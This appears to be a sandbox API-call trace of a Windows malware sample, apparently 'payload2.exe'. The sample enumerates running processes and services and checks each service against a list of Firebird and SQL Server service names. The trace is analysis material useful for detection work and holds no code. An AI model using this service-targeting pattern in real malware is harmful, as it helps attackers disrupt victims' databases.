	[0207.356] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0207.356] lstrlenW (lpString="sihost.exe") returned 10
	[0207.356] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0207.357] lstrlenW (lpString="svchost.exe") returned 11
	[0207.357] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0207.357] lstrlenW (lpString="taskhostw.exe") returned 13
	[0207.357] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0207.358] lstrlenW (lpString="msoia.exe") returned 9
	[0207.358] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0207.359] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0207.359] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0207.359] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0207.359] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0207.360] lstrlenW (lpString="Memory Compression") returned 18
	[0207.360] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0207.360] lstrlenW (lpString="explorer.exe") returned 12
	[0207.360] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0207.361] lstrlenW (lpString="SearchUI.exe") returned 12
	[0207.361] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0207.361] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0207.361] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0207.362] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0207.362] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0207.362] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0207.362] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0207.363] lstrlenW (lpString="payload2.exe") returned 12
	[0207.363] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xf54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0207.363] lstrlenW (lpString="cmd.exe") returned 7
	[0207.363] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xf60, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0207.364] lstrlenW (lpString="conhost.exe") returned 11
	[0207.364] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0207.364] lstrlenW (lpString="cmd.exe") returned 7
	[0207.364] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xfb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0207.365] lstrlenW (lpString="conhost.exe") returned 11
	[0207.365] Process32NextW (in: hSnapshot=0x368, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xfb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0207.365] CloseHandle (hObject=0x368) returned 1
	[0207.365] Sleep (dwMilliseconds=0x1f4) 
	[0208.283] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x59e108
	[0208.283] EnumServicesStatusExW (in: hSCManager=0x59e108, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x257ff3c, lpServicesReturned=0x257ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x257ff3c, lpServicesReturned=0x257ff54, lpResumeHandle=0x0) returned 0
	[0208.284] GetLastError () returned 0xea
	[0208.284] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1bc4) returned 0x455b968
	[0208.284] EnumServicesStatusExW (in: hSCManager=0x59e108, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x455b968, cbBufSize=0x1bc4, pcbBytesNeeded=0x257ff3c, lpServicesReturned=0x257ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x455b968, pcbBytesNeeded=0x257ff3c, lpServicesReturned=0x257ff54, lpResumeHandle=0x0) returned 1
	[0208.285] CloseServiceHandle (hSCObject=0x59e108) returned 1
	[0208.286] lstrlenW (lpString="Appinfo") returned 7
	[0208.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0208.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0208.286] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0208.286] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0208.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0208.286] lstrlenW (lpString="AppXSvc") returned 7
	[0208.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0208.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0208.286] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0208.286] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0208.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0208.286] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0208.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0208.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0208.286] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0208.286] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0208.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0208.286] lstrlenW (lpString="Audiosrv") returned 8
	[0208.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0208.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0208.286] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0208.286] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0208.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0208.286] lstrlenW (lpString="BFE") returned 3
	[0208.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0208.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0208.286] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0208.286] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0208.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0208.287] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0208.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0208.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0208.287] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0208.287] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0208.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0208.287] lstrlenW (lpString="CDPSvc") returned 6
	[0208.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0208.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0208.287] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0208.287] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0208.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0208.287] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0208.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0208.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0208.287] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0208.287] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0208.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0208.287] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0208.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0208.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0208.287] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0208.287] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0208.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0208.287] lstrlenW (lpString="CryptSvc") returned 8
	[0208.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0208.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0208.287] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0208.287] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0208.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0208.287] lstrlenW (lpString="DcomLaunch") returned 10
	[0208.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0208.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0208.288] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0208.288] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0208.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0208.288] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0208.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0208.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0208.288] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0208.288] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0208.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0208.288] lstrlenW (lpString="Dhcp") returned 4
	[0208.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0208.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0208.288] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0208.288] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0208.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0208.288] lstrlenW (lpString="Dnscache") returned 8
	[0208.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0208.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0208.288] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0208.288] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0208.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0208.288] lstrlenW (lpString="DPS") returned 3
	[0208.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0208.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0208.288] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0208.288] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0208.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0208.288] lstrlenW (lpString="DusmSvc") returned 7
	[0208.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0208.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0208.288] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0208.288] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0208.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0208.289] lstrlenW (lpString="EventLog") returned 8
	[0208.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0208.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0208.289] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0208.289] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0208.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0208.289] lstrlenW (lpString="EventSystem") returned 11
	[0208.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0208.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0208.289] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0208.289] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0208.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0208.289] lstrlenW (lpString="FontCache") returned 9
	[0208.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0208.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0208.289] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0208.289] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0208.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0208.289] lstrlenW (lpString="gpsvc") returned 5
	[0208.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0208.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0208.289] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0208.289] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0208.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0208.289] lstrlenW (lpString="iphlpsvc") returned 8
	[0208.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0208.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0208.289] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0208.289] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0208.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0208.289] lstrlenW (lpString="KeyIso") returned 6
	[0208.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0208.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0208.290] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0208.290] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0208.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0208.290] lstrlenW (lpString="LanmanServer") returned 12
	[0208.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0208.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0208.290] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0208.290] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0208.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0208.290] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0208.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0208.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0208.290] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0208.290] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0208.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0208.290] lstrlenW (lpString="lfsvc") returned 5
	[0208.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0208.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0208.290] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0208.290] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0208.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0208.290] lstrlenW (lpString="lmhosts") returned 7
	[0208.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0208.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0208.290] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0208.290] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0208.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0208.290] lstrlenW (lpString="LSM") returned 3
	[0208.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0208.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0208.290] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0208.290] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0208.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0208.291] lstrlenW (lpString="MpsSvc") returned 6
	[0208.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0208.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0208.291] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0208.291] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0208.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0208.291] lstrlenW (lpString="NcbService") returned 10
	[0208.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0208.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0208.291] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0208.291] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0208.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0208.291] lstrlenW (lpString="netprofm") returned 8
	[0208.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0208.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0208.291] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0208.291] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0208.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0208.291] lstrlenW (lpString="NgcSvc") returned 6
	[0208.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0208.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0208.291] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0208.291] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0208.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0208.291] lstrlenW (lpString="NlaSvc") returned 6
	[0208.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0208.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0208.291] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0208.291] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0208.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0208.291] lstrlenW (lpString="nsi") returned 3
	[0208.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0208.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0208.292] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0208.292] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0208.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0208.292] lstrlenW (lpString="PcaSvc") returned 6
	[0208.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0208.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0208.292] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0208.292] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0208.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0208.292] lstrlenW (lpString="PlugPlay") returned 8
	[0208.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0208.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0208.292] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0208.292] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0208.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0208.292] lstrlenW (lpString="Power") returned 5
	[0208.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0208.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0208.292] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0208.292] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0208.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0208.292] lstrlenW (lpString="ProfSvc") returned 7
	[0208.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0208.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0208.292] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0208.292] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0208.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0208.292] lstrlenW (lpString="RpcEptMapper") returned 12
	[0208.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0208.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0208.292] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0208.292] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0208.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0208.293] lstrlenW (lpString="RpcSs") returned 5
